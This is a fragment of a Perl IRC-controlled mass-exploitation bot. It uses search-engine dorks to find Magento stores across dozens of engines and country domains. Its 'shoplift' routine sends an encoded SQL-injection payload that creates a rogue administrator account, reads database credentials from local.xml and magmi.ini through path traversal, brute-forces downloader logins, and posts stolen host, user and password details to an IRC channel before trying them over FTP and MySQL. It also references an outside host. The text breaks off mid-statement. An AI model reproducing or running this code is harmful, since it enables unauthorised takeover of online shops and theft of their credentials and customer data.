($engine =~ /domsi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domSI",$type); } exit; } } if ($engine =~ /dombe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domBE",$type); } exit; } } if ($engine =~ /dombiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domBIZ",$type); } exit; } } if ($engine =~ /Marlboro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Marlboro",$type); } exit; } } if ($engine =~ /Mustang/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Mustang",$type); } exit; } } if ($engine =~ /U-Mild/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"U-Mild",$type); } exit; } } if ($engine =~ /Vegas/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Vegas",$type); } exit; } } if ($engine =~ /Surya/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Surya",$type); } exit; } } if ($engine =~ /Viper/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Viper",$type); } exit; } } if ($engine =~ /Tanggida'a/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Tanggida'a",$type); } exit; } } if ($engine =~ /Tanggikiki/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Tanggikiki",$type); } exit; } } if ($engine =~ /Tapa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Tapa",$type); } exit; } } if ($engine =~ /Bengsol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Bengsol",$type); } exit; } } if ($engine =~ /Dulomo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Dulomo",$type); } exit; } } if ($engine =~ /Ayula/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Ayula",$type); } exit; } } if ($engine =~ /MicroPhone/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MicroPhone",$type); } exit; } } if ($engine =~ /Monitor/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Monitor",$type); } exit; } } if ($engine =~ /Mouse/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Mouse",$type); } exit; } } if ($engine =~ /Keyboard/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Keyboard",$type); } exit; } } if ($engine =~ /Printer/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Printer",$type); } exit; } } if ($engine =~ /Rooter/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Rooter",$type); } exit; } } if ($engine =~ /FlashDISC/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"FlashDISC",$type); } exit; } } if ($engine =~ /Cable/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Cable",$type); } exit; } } if ($engine =~ /CPU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CPU",$type); } exit; } } if ($engine =~ /Modem/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Modem",$type); } exit; } } if ($engine =~ /HDD/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"HDD",$type); } exit; } } if ($engine =~ /CDroom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CDroom",$type); } exit; } } if ($engine =~ /yahoodom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"YahooDom",$type); } exit; } } if ($engine =~ /suspectae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectAE",$type); } exit; } } if ($engine =~ /suspectar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectAR",$type); } exit; } } if ($engine =~ /suspectat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectAT",$type); } exit; } } if ($engine =~ /suspectau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectAU",$type); } exit; } } if ($engine =~ /suspectbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectBR",$type); } exit; } } if ($engine =~ /suspectca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectCA",$type); } exit; } } if ($engine =~ /suspectcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectCL",$type); } exit; } } if ($engine =~ /suspectcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectCN",$type); } exit; } } if ($engine =~ /suspectcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectCOM",$type); } exit; } } if ($engine =~ /suspectcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectCZ",$type); } exit; } } if ($engine =~ /suspectde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectDE",$type); } exit; } } if ($engine =~ /suspectdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectDK",$type); } exit; } } if ($engine =~ /suspectes/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectES",$type); } exit; } } if ($engine =~ /suspecteu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectEU",$type); } exit; } } if ($engine =~ /suspectfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectFR",$type); } exit; } } if ($engine =~ /suspecthu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectHU",$type); } exit; } } if ($engine =~ /suspectid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectID",$type); } exit; } } if ($engine =~ /suspectil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectIL",$type); } exit; } } if ($engine =~ /suspectin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectIN",$type); } exit; } } if ($engine =~ /suspectinfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectINfO",$type); } exit; } } if ($engine =~ /suspectir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectIR",$type); } exit; } } if ($engine =~ /suspectit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectIT",$type); } exit; } } if ($engine =~ /suspectjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectJP",$type); } exit; } } if ($engine =~ /suspectkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectKR",$type); } exit; } } if ($engine =~ /suspectmx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectMX",$type); } exit; } } if ($engine =~ /suspectmy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectMY",$type); } exit; } } if ($engine =~ /suspectnet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectNET",$type); } exit; } } if ($engine =~ /suspectnl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectNL",$type); } exit; } } if ($engine =~ /suspectorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectORG",$type); } exit; } } if ($engine =~ /suspectph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectPH",$type); } exit; } } if ($engine =~ /suspectpl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectPL",$type); } exit; } } if ($engine =~ /suspectro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectRO",$type); } exit; } } if ($engine =~ /suspectru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectRU",$type); } exit; } } if ($engine =~ /suspectth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectTH",$type); } exit; } } if ($engine =~ /suspectua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectUA",$type); } exit; } } if ($engine =~ /suspectuk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectUK",$type); } exit; } } if ($engine =~ /suspectus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectUS",$type); } exit; } } if ($engine =~ /suspectsi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectSI",$type); } exit; } } if ($engine =~ /suspectbe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectBE",$type); } exit; } } if ($engine =~ /suspectbiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"suspectBIZ",$type); } exit; } } if ($engine =~ /engae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engAE",$type); } exit; } } if ($engine =~ /engar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engAR",$type); } exit; } } if ($engine =~ /engat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engAT",$type); } exit; } } if ($engine =~ /engau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engAU",$type); } exit; } } if ($engine =~ /engbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engBR",$type); } exit; } } if ($engine =~ /engca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engCA",$type); } exit; } } if ($engine =~ /engcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engCL",$type); } exit; } } if ($engine =~ /engcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engCN",$type); } exit; } } if ($engine =~ /engcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engCOM",$type); } exit; } } if ($engine =~ /engcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engCZ",$type); } exit; } } if ($engine =~ /engde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engDE",$type); } exit; } } if ($engine =~ /engdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engDK",$type); } exit; } } if ($engine =~ /enges/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engES",$type); } exit; } } if ($engine =~ /engeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engEU",$type); } exit; } } if ($engine =~ /engfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engFR",$type); } exit; } } if ($engine =~ /enghu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engHU",$type); } exit; } } if ($engine =~ /engid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engID",$type); } exit; } } if ($engine =~ /engil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engIL",$type); } exit; } } if ($engine =~ /engin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engIN",$type); } exit; } } if ($engine =~ /enginfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engINfO",$type); } exit; } } if ($engine =~ /engir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engIR",$type); } exit; } } if ($engine =~ /engit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engIT",$type); } exit; } } if ($engine =~ /engjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engJP",$type); } exit; } } if ($engine =~ /engkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engKR",$type); } exit; } } if ($engine =~ /engmx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engMX",$type); } exit; } } if ($engine =~ /engmy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engMY",$type); } exit; } } if ($engine =~ /engnet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engNET",$type); } exit; } } if ($engine =~ /engnl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engNL",$type); } exit; } } if ($engine =~ /engorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engORG",$type); } exit; } } if ($engine =~ /engph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engPH",$type); } exit; } } if ($engine =~ /engpl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engPL",$type); } exit; } } if ($engine =~ /engro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engRO",$type); } exit; } } if ($engine =~ /engru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engRU",$type); } exit; } } if ($engine =~ /ength/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engTH",$type); } exit; } } if ($engine =~ /engua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engUA",$type); } exit; } } if ($engine =~ /enguk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engUK",$type); } exit; } } if ($engine =~ /engus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engUS",$type); } exit; } } if ($engine =~ /engsi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engSI",$type); } exit; } } if ($engine =~ /engbe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engBE",$type); } exit; } } if ($engine =~ /engbiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"engBIZ",$type); } exit; } } if ($engine =~ /google1/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {&type($channel,$bug,$simpan,$dork,"GooGLe1",$type); } exit; } } if ($engine =~ /google2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {&type($channel,$bug,$simpan,$dork,"GooGLe2",$type); } exit; } } if ($engine =~ /google3/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {&type($channel,$bug,$simpan,$dork,"GooGLe3",$type); } exit; } } if ($engine =~ /google4/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {&type($channel,$bug,$simpan,$dork,"GooGLe4",$type); } exit; } } if ($engine =~ /google5/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {&type($channel,$bug,$simpan,$dork,"GooGLe5",$type); } exit; } } if ($engine =~ /google6/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {&type($channel,$bug,$simpan,$dork,"GooGLe6",$type); } exit; } } if ($engine =~ /google7/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {&type($channel,$bug,$simpan,$dork,"GooGLe7",$type); } exit; } } if ($engine =~ /google8/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {&type($channel,$bug,$simpan,$dork,"GooGLe8",$type); } exit; } } if ($engine =~ /google9/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {&type($channel,$bug,$simpan,$dork,"GooGLe9",$type); } exit; } } if ($engine =~ /googlea1/i) {if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {&type($channel,$bug,$simpan,$dork,"GooGLea1",$type);} exit; } } if ($engine =~ /googlea2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLea2",$type); } exit; } } if ($engine =~ /googlec1/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeC1",$type); } exit; } } if ($engine =~ /googlec2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeC2",$type); } exit; } } if ($engine =~ /googlec3/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeC3",$type); } exit; } } if ($engine =~ /googlec4/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeC4",$type); } exit; } } if ($engine =~ /googlec5/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeC5",$type); } exit; } } if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Bing",$type); } exit; } } if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BigLobe",$type); } exit; } } if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"WaLLa",$type); } exit; } } if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"UoL",$type); } exit; } } if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"OnEt",$type); } exit; } } if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CLusTy",$type); } exit; } } if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SaPo",$type); } exit; } } if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AoL",$type); } exit; } } if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LyCos",$type); } exit; } } if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"HotBot",$type); } exit; } } if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SeZNam",$type); } exit; } } if ($engine =~ /bypass/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"bypass",$type); } exit; } } if ($engine =~ /google2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGle2",$type); } exit; } } } ###### EXPLOITING ####### sub shoplift(){ my $channel = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my @list = &search_engine($channel,$bug,$dork,$engine,$magalogo); my $num = scalar(@list); if ($num > 0){ foreach my $site(@list) { $count++; if ($count == $num-1) { &msg("$channel","4,1× 0$engine 4× 8—–—–—–» 14Habis!!"); } my $test1 = "http://".$site."app/etc/local.xml"; my $test2 = "http://".$site."api/xmlrpc"; my $magx = "http://".$site."/magmi/web/download_file.php?file=../conf/magmi.ini"; my $magmix = "http://".$site."/web/download_file.php?file=../conf/magmi.ini"; my $injek = "http://".$site."admin/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGBhZG1pbl91c2VyYCBXSEVSRSB1c2VyX2lkID0gMzM7ICBERUxFVEUgRlJPTSBgYWRtaW5fcm9sZWAgV0hFUkUgdXNlcl9pZCA9IDMzOyAgSU5TRVJUIElOVE8gYGFkbWluX3VzZXJgIChgdXNlcl9pZGAsIGBmaXJzdG5hbWVgLCBgbGFzdG5hbWVgLCBgZW1haWxgLCBgdXNlcm5hbWVgLCBgcGFzc3dvcmRgLCBgY3JlYXRlZGAsIGBtb2RpZmllZGAsIGBsb2dkYXRlYCwgYGxvZ251bWAsIGByZWxvYWRfYWNsX2ZsYWdgLCBgaXNfYWN0aXZlYCwgYGV4dHJhYCkgVkFMVUVTICAoMzMsJ21hZ2VudG8nLCAnZGVzaWduJywgJ2Rlc2lnbkBtYWdlbnRvY29tbWVyY2UuY29tJywgJ2Rlc2lnbicsICdkODkyYTkyNWExZjdkYTdlMGJhMWE5ODU5OTA1ODczYjpycCcsICdudWxsJywgJ251bGwnLCAnbnVsbCcsIDEsIDAsIDEsICdOOycpOyAgSU5TRVJUIElOVE8gYGFkbWluX3JvbGVgIChgcGFyZW50X2lkYCwgYHRyZWVfbGV2ZWxgLCBgc29ydF9vcmRlcmAsIGByb2xlX3R5cGVgLCBgdXNlcl9pZGAsIGByb2xlX25hbWVgKSBWQUxVRVMgKDEsIDIsIDAsICdVJywgMzMsICdkZXNpZ24nKTs7IC0tIA=="; my $tester = "http://50.63.154.103/var/shop.php"; my $html = &get_content($test); my $html1 = &get_content($test1); my $magen = &get_content($magx); my $magmiz = &get_content($magmix); &get_content($injek);&get_content($injek);&get_content($injek);&get_content($injek); my $website = "http://".$site."downloader/"; my $check = &get_content($website); if ($check =~ /Magento Downloader/) { &msg("$channel","4,1× 0$engine 4× 9http://".$site." 8—–—–—–» [12Check]") &ceklogin($website,$engine); &ceklogin1($website,$engine); &ceklogin2($website,$engine); &ceklogin3($website,$engine); &ceklogin4($website,$engine); &ceklogin5($website,$engine); &ceklogin6($website,$engine); &ceklogin7($website,$engine); &ceklogin8($website,$engine); &ceklogin9($website,$engine); &ceklogin10($website,$engine); &ceklogin11($website,$engine); &ceklogin12($website,$engine); &cekshell($site); my ($useragent,$request,$response,%form); undef %form; $form{username} = "design"; $form{password} = "web"; $useragent = LWP::UserAgent->new(agent => $uagent); $useragent->timeout(10); $request = POST $website,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; if ($res =~ /Return to Admin/) { &msg("$channel","4,1× 0$engine 4× Login :( Success ) 8—–—–—–» 0[4injected0]"); &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site."downloader/ 1---> [9,1OK!]"); } elsif ($res =~ /Warning:/i) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site."downloader/ 1---> [9,1Cant Upload package]"); } elsif ($res =~ /ASchroder_SMTPPro/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site."downloader/ 1---> [9,1SMTP package instaled]"); } elsif ($res =~ /File_System/) { &msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site."downloader/ 1---> [9,1File_System package instaled]"); } } } if ($magen =~ /dbname/) { if ($magen =~ /host?\s\=?\s\"(.*)\"/i) { $host = $1; } if ($magen =~ /dbname?\s\=?\s\"(.*)\"/i) { $db = $1; } if ($magen =~ /user?\s\=?\s\"(.*)\"/i) { $user = $1; } if ($magen =~ /password?\s\=?\s\"(.*)\"/i) { $pass = $1; } my $check = &get_content("http://".$site."phpmyadmin"); if ($check =~ /phpMyAdmin/) { &msg("$channel","15,1[ 4P8hp4M8y4A8dmin4 15] 4,1http://".$site."/phpmyadmin 8,1!9 ".$host." 8! 8,1!4 ".$user." 8,1! 8,1!4 ".$pass." 8,1!"); } &ftp_connect("http://target.com",$host,$user,$pass,$channel,$engine); &dbi_connect($host,$user,$pass,$db,$channel,$engine); &msg("$channel","15,1[ 11$engine 15] 15,1[4D8ata4B8ase315] 8,1[4 http://".$site." 8] 8,1[9 ".$host." 8]0-8,1[9 ".$user." 8]0-8[3 ".$pass." 8]0-8[10 ".$db." 8]"); &msg("$channel","4,1× 0$engine 4×8 ".$user." 8,1——15 ".$db.""); if ($user =~ /_/) { @userz = split(/_/,$user); $usr = $userz[0]; } my $ceklog = "ftp://".$usr.":".$pass."@".$site.""; my $ceklog2 = "ftp://".$user.":".$pass."@".$site.""; my $ftplog = &get_content($ceklog); my $ftplog2 = &get_content($ceklog2); if ($ftplog =~ /ftp/) { &msg("$channel","8,1[+]FTP[+] ftp://".$site." [+]username:".$usr." [+]password:".$pass.""); } if ($ftplog2 =~ /ftp/) { &msg("$channel","8,1[+]FTP[+] ftp://".$site." [+]username:".$user." [+]password:".$pass.""); } my $success = 1; use Net::FTP; eval { my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5); $success = 0 if 